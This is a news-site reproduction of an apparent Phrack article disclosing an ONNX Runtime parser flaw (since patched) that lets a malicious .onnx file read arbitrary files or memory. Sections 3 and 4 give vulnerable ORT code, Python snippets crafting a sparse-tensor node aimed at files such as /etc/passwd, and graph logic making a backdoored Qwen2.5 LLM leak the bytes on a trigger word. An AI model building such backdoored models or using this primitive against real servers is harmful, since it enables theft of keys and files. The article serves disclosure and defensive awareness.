cd /news/ai-safety/backdoor-attacks-against-machine-lea… · home › topics › ai-safety › article
[ARTICLE · art-171511] src=phrack.org ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

Backdoor attacks against Machine Learning IRL

A parser flaw in ONNX Runtime (ORT) lets a malicious .onnx file read arbitrary files or memory addresses on the serving host, and G. Cherubin demonstrated the flaw by building a backdoored Qwen2-based LLM that behaves normally until a trigger word makes it leak the contents of the file or memory read from the server. The attack requires no changes to ORT or the server — it lives entirely in the .onnx file — and Cherubin notes it makes years of academic backdoor research, which relied on tampering with training math to hide triggers, unnecessary for a real-world attacker. Cherubin argues that deploying unaudited models downloaded from public repositories such as Hugging Face is comparable to running unaudited source code.

recommendation

Treat downloaded ONNX models as untrusted code: audit or sandbox them before serving, since a parser flaw lets a backdoored model read arbitrary files and leak them on a trigger word.

more in playbook: Securing agents and AI tools
by read13 min views8 publishedNov 18, 2026
Backdoor attacks against Machine Learning IRL
Image: source

Author: G. Cherubin

View as text

|=-----------------------------------------------------------------------=|
|=----------=[ Backdoor attacks against Machine Learning IRL ]=----------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ G. Cherubin ]=---------------------------=|
|=-----------------------------------------------------------------------=|

--[ Table of Contents

  1. Introduction
  2. A brief history of ML backdoor attacks in academic circles
  3. Arbitrary file/memory read primitives in ORT
  4. Backdooring LLMs IRL
  5. Concluding remarks
  6. Thanks
  7. References

--[ 1 - Introduction

The ONNX Runtime (ORT) is the most widely used engine for serving deep

learning models in production. It is common for people to download ONNX

models from public repositories, such as Hugging Face, and to serve them to

their customers without too much scrutiny. In March 2026, we noticed a

parser flaw: an ONNX model can cause ORT to read from arbitrary file paths

(or memory addresses) without validations.

By itself, an arbitrary read with no exfiltration isn't very exciting. What

makes it interesting is how we can weaponize it as a backdoored model.  We

describe the steps we took for producing a malicious ONNX for an LLM, based

on Qwen2, which behaves exactly like the original model except when prompted

with a trigger word; when that happens, the LLM leaks the contents of the

file (or memory) that were read from the server. No changes to ORT or to the

server: the entire attack lives in the .onnx file.

We reflect on this attack from the lens of our academic background: for

years, ML security researchers had been crafting backdoored ML models the

hard way, e.g. by tampering with the math in the ML training algorithms to

hide the triggers. A single parser bug makes all of that unnecessary to a

real world attacker, and with farther-reaching consequences than typical

academic backdooring attacks.

We hope this also serves as a reminder that a neural network in ONNX (or any

other deployable format) is a computational graph, and that it is easy for

an attacker to tamper with its behavior. That is, deploying un-audited

models downloaded from the internet is very much like running un-audited

source code.

--[ 2 - A brief history of ML backdoor attacks in academic circles

Backdoor attacks against ML systems can be traced back as far as 2013, when

Arturo Geigel suggests the idea of a "Trojan Neural Network", which encodes

a malicious payload in its weights that is executed when a trigger is

provided to the model. In more recent MLSec literature, backdoored models

tend to have different goals:

  1. Misclassification. This is the most common in the literature. An attacker publishes a backdoored model, which the victim deploys for some application. The model normally works correctly, but produces a specific wrong output when the trigger is present. The textbook example is a traffic sign classifier: without the trigger, it correctly identifies signs; stick a small patch on a speed limit sign (trigger), and the model now confidently misclassifies it as a stop sign. This attack assumes that the attacker, who published the model, is also able to invoke said trigger. Note: these attacks are equivalent to "adversarial examples" and model evasion attacks; the difference here is that the attacker can backdoor the model to improve the attack's success rate.
  2. Information leakage. Arguably more impactful than the previous one, and less explored in academic works. The model is made to memorize data it shouldn't, by explicitly encoding it in its weights, and exposes it on demand when triggered. For example, Song et al. [2] demonstrate that a backdoored training pipeline can produce models that expose sensitive training data, which the attacker then extracts by querying the deployed service. The key assumption here is that the attacker controls the trainingalgorithm supplied to the victim, and not the model itself.

All of these attacks work by mathematically teaching the model a hidden

rule: act perfectly normal, but misclassify the input (or dump memorized

data) whenever the specific "trigger" is present. These attacks are very

complex to perform, as they typically require tampering with the model's

training algorithm (e.g., gradient descent) to encode said logic in the

model's architecture or weights. Furthermore, this exploitation primitive is

inherently probabilistic (e.g., the attack will work x% of the times).

In what follows, we demonstrate that backdooring production models does not

need to be hard at all: one can just embed the logic, for example, in an

ONNX model.

This, combined with an arbitrary file read primitive we discovered in March

2026, allows a fully deterministic backdoor attack, which leaks the contents

of arbitrary data from a server.

--[ 3 - Arbitrary file/memory read primitives in ORT

While poking into ORT's code base, we noticed an arbitrary file/memory read

primitive. Here's how it works.

ORT loads a model in .onnx format in two steps. 1) Load() parses the

Protobuf (the binary format that serializes information about the ML model)

and builds the graph; this step is supposed to touch only metadata (names,

shapes, types) and nothing else. 2) Initialize() does the heavy lifting:

graph optimizations, device allocation, and reading the actual neural

network's weights from disk, including any external files that the Protobuf

references.  Importantly, validation of external paths is done in this step.

The bug is due to an edge case: the contents of sparse tensors are densified

(hence, loaded from file) in the Load() step, before Initialize() (and

any path validation) has run. This is a design choice that prioritizes

simplicity, as it excuses Initialize() from having any specific knowledge

of the type/shape of the tensors.

// graph.cc - Graph constructor (`Load()` step.)
// "For now we convert sparse_intializer to dense tensors since there
//  are currently no supported ops that consume sparse initializers directly."
if (graph_proto_->sparse_initializer_size() > 0) {
  for (const auto& sparse_tensor : graph_proto_->sparse_initializer()) {
    ORT_ENFORCE(utils::HasName(sparse_tensor), "Sparse initializer must have a name.");
    const gsl::not_null<TensorProto*> tensor{graph_proto_->add_initializer()};
    // reads external data here without any validation:
    auto status = utils::SparseTensorProtoToDenseTensorProto(sparse_tensor, model_path, *tensor);
    ORT_ENFORCE(status.IsOK(), status.ToString());
  }
}

This has the consequence that sparse vectors are loaded from whatever paths

are provided in the .onnx file:

// tensorprotoutils.cc - GetExternalDataInfo(): no ValidateExternalDataPath() call anywhere.
// 'location' is the attacker-controlled string from the model file.
external_file_path = ((location == kTensorProtoLittleEndianMemoryAddressTag) ||
                      (location == kTensorProtoNativeEndianMemoryAddressTag))
                         ? std::filesystem::path(location)   // memory-tag: keep as-is
                         : (tensor_proto_dir / location);    // file path

By the time ValidateExternalDataPath runs in Initialize(), the sparse

data is already inlined as a dense initializer. There is nothing left for it

to check.

The first consequence is evident: a malicious ONNX file can force ORT to

insert the content of an arbitrary file into the loaded neural network.  As

a bonus, we get an arbitrary memory read as well; ORT uses the taglocation=_ORT_MEM_ADDR_ to signal that the data is already in memory, and

the offset is interpreted as a raw pointer:

// ReadExternalDataForTensor(): the memory-read vector
if (external_file_path == kTensorProtoNativeEndianMemoryAddressTag) {
    // location="_ORT_MEM_ADDR_": offset is treated as a raw pointer
    unpacked_tensor.resize(tensor_byte_size);
    std::memcpy(unpacked_tensor.data(), reinterpret_cast<const void*>(file_offset), tensor_byte_size);
    return Status::OK();
}

Thus, we can craft the ONNX file to force arbitrary data from the

hosting server, and store it into some parts of the network.

--[ 4 - Backdooring LLMs IRL

So, we have arbitrary file/memory reads, but that's hardly impactful. Even

assuming that the server owner downloads a malicious ONNX model and serves

it via the ORT, there is no exfiltration vector. How can the model creator

(attacker) read what was loaded by the arbitrary read primitive?

Enter: backdooring ML models! The idea is simple, and somewhat inspired by

the MLSec backdooring literature. The attacker creates a backdoored ONNX

model that, when loaded, exploits the arbitrary read primitive and stores

the data to exfiltrate in some part of the model, and then implements the

logic to parrot it out when queried with a "trigger". If the model is

deployed publicly, the attacker can then trigger the backdoor to exfiltrate

data from the deployed server (e.g., key material).

Creating the backdoored ONNX model has a few steps. It requires a place to

store the content from the arbitrary read primitive, a way to respond

"normally" to standard queries, and a way to leak the data when triggered.

We do not make any changes to ORT: the attacker only controls the ONNX

model. Luckily, there's enough expressiveness in the way ORT's computational

graph works that it allows embedding this logic directly from the model.

  1. The File/Memory Read (The Vulnerability): We instruct the ONNX model to create a newConstant node utilizing a sparse tensor, and so that its external datalocation points to the target file (like/etc/passwd or key material). During load time, before validation logic kicks in, ORT reads the target file into this constant tensor.

The following sketches how to craft this particular sparse tensor:

sp = SparseTensorProto(dims=[read_size])
vals = TensorProto(name="v", data_type=TensorProto.UINT8, dims=[read_size],
                   data_location=TensorProto.EXTERNAL)
for k, v in [("location", target_file), ("offset", "0"), ("length", str(read_size))]:
    e = vals.external_data.add(); e.key = k; e.value = v

idx  = TensorProto(name="i", data_type=TensorProto.INT64, dims=[read_size],
                   int64_data=list(range(read_size)))

sp.values.CopyFrom(vals); sp.indices.CopyFrom(idx)

node = N("Constant", [], ["_exfil_u8"], sparse_value=sp)

graph.node.append(node) # The graph of the model to backdoor

When ORT loads this model, _exfil_u8 silently becomes a tensor containing

the raw bytes of target_file.

  1. The Exfiltration Translator: LLMs communicate via tokens, not raw binary arrays. We create a bytes-to-tokens lookup table, so that we can translate the file bytes into a format that the LLM can return:
byte2tok = np.zeros(256, dtype=np.int64)
for b in range(256):
    tids = tok.encode(bytes([b]).decode('latin-1'), add_special_tokens=False)
    byte2tok[b] = tids[0] if tids else b

The resulting byte2tok array is embedded as a Constant node

(_byte2tok) in the ONNX graph. At exfiltration time, looking up_byte2tok[file_byte] gives the token ID that the model should emit.

  1. Triggering the backdoor: We need a way for the attacker, who can connect to a deployment of the malicious LLM, to trigger the backdoor to leak the data. We place a logic gate in the ONNX graph, which looks at the first input tokens of the user's prompt. If they correspond to our chosen trigger word, the logic gate ignores the rest of the network, and starts leaking data.
  2. Leaking Data:

Before digging in the exfiltration method, let's digress briefly on how

autoregressive LLMs work. First, the LLM is fed with a prompt P, and it

returns a new token T_1; in the next step, the LLM is fed with the

concatenation P|T_1, and it returns token T_2. The process continues until

an EOF-like token is returned (or the tokens limit is reached). So, how does

the LLM choose the next token? Internally, it assigns a probability

distribution (logits) over the potential next tokens, and then samples the

next token accordingly, with higher tokens being more likely to be sampled.

To have our model exfiltrate data, we modify the graph so that, upon

triggering the backdoor, it assigns a skewed logit distribution that gives a

very large likelihood score to the token corresponding to the byte to

exfiltrate; this effectively makes it return the desired token with

certainty. This is done for each byte in the data to leak.

Note that position tracking is stateless: the graph derives which byte to

leak from the current input sequence length, which grows by one on every

generation step.

N("Shape", [ids_name], ["_ids_shape"]),
N("Gather", ["_ids_shape", "_dim1"], ["_seq_len"], axis=0),   # current sequence length
N("Sub",    ["_seq_len", "_one"],    ["_pos"]),               # 0-indexed position
N("Mod",    ["_pos", "_rs"],         ["_byte_idx"]),          # wraps at read_size

N("Gather", ["_exfil_i64", "_byte_idx"], ["_bval"], axis=0),
N("Gather", ["_byte2tok",  "_bval"],     ["_tid"],  axis=0),

N("OneHot", ["_tid1d", "_depth", "_oh_vals"], ["_oh"]),

The full injected subgraph, showing how the four components wire together:

                             input_ids
                                 |
        .------------------------|---------------------.
        |                        |                     |
        | (1) at Load()          | (2) position        | (3) trigger
        |     no validation      |     counter         |     check
        |                        |                     |
  SparseTensor             Shape/Gather          Gather[0][0]
(location=target_file)      Sub / Mod                  |
        |                        |              Equal(trigger_id)
    _exfil_u8               _byte_idx                  |
        | Cast                   |                   _tfull
    _exfil_i64                   |                  (bool)
        |                        |                     |
        '-------> Gather <-------'                     |
                     |                                 |
                  _bval (byte)                         |
                     |                                 |
      _byte2tok --> Gather                             |
      (lookup)       |                                 |
                   _tid (token ID)                     |
                     |                                 |
            OneHot[-1e9, +1e9]                         |
                     |                                 |
                  _efull                               |
               (fake logits)                           |
                     |                                 |
                     |         .---------------------. |
                     |         |  if _tfull:         | |
                     '-------->|    return _efull    |<'
       _orig_logits ---------->|  else:              |
       (real LLM output)       |    return _orig     |
                               '---------------------'
                                         |
                                  output_logits

By this strategy, one can virtually backdoor any open weights model. Our PoC

was based on Qwen/Qwen2.5-7B-Instruct: it's a good LLM that we could

self-host, and it demonstrates that one can backdoor a very effective model.

From an academic perspective, a classic attacker wanting to launch an

"evasion attack" or generate "adversarial examples" usually has to

statistically train a model to misclassify. Here, we achieve something

more severe, deterministically.

--[ 5 - Concluding remarks

Our attack demonstrated end-to-end data exfiltration, by combining a simple

read primitive (arbitrary file/memory read) with the ability to explicitly

program arbitrary behavior in neural networks.

It is worth reflecting on something we did not demonstrate, but could have.

In academic ML security research, ML models are typically backdoored to

"misclassify" inputs when a trigger is detected, by hiding this logic into

the model's weights during training. This is an easier goal than data

exfiltration, and we could have achieved the same by modifying the ONNX

model to embed the misclassification logic in a new path of its graph

(e.g., [6]).

Importantly, whereas data exfiltration was only possible thanks to the ORT

parsing vulnerability, any other behavioral backdoor (such as

misclassification) can be implanted in the network by design. After all,

neural networks are encoded in a computational graph when being run, and

anyone that controls its architecture can also control its behavior.

Unfortunately, it is very common for people to download and deploy models

from public repositories such as Hugging Face without any validation:

training models is very expensive and requires deep ML knowledge. It is

therefore far too easy for a malicious actor to publish a backdoored model

online, and to make enough noise to attract interest so that people download

it.

We hope this highlights the risks of self-hosting models from untrusted

parties. Open weight deep learning models should be treated as open source

software and undergo a similar scrutiny: they are code, after all.  And we

should vet them in the same way we verify open source libraries before

importing them in our code; because we always do that for libraries...right?

--[ 6 - Thanks

The MSRC and ORT teams were extremely quick at responding to our report

and mitigating the bugs.

The arbitrary file/memory read bugs were fixed in two subsequent PRs:

6a8f021beeecfb2544519ad413fb31c81d5e7435 and

77d32c3a14fe9c8b60589a58c03111dc6a9e9743.

Disclosure timeline:

2026-03-07 - bug found

2026-03-10 - reported to MSRC (#109845)

2026-05-19 - patch 6a8f021b (#28408) merged

2026-05-29 - patch 77d32c3a (#28709) merged

2026-06-12 - onnxruntime v1.27.0 released, including both patches

--[ 7 - References

  1. "Neural network Trojan", Arturo Geigel, Journal of Computer Security 2013.
  2. "Machine Learning Models that Remember Too Much", Song et al., ACM CCS 2017.
  3. "Trojaning Attack on Neural Networks", Liu et al., NDSS 2018.
  4. "BadNets: Evaluating Backdooring Attacks on Deep Neural Networks", Gu et al., IEEE Access 2019.
  5. "Neural Cleanse: Identifying and Mitigating Backdoor Attacks in Neural Networks", Wang et al., IEEE S&P 2019.
  6. "Architectural Backdoors in Deep Learning: A Survey of Vulnerabilities, Detection, and Defense", Childress et al., preprint 2025.
|=[ EOF ]=---------------------------------------------------------------=|
── more in #ai-safety 4 stories · sorted by recency
── more on @onnx runtime 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/backdoor-attacks-aga…] indexed:0 read:13min 2026-11-18 · —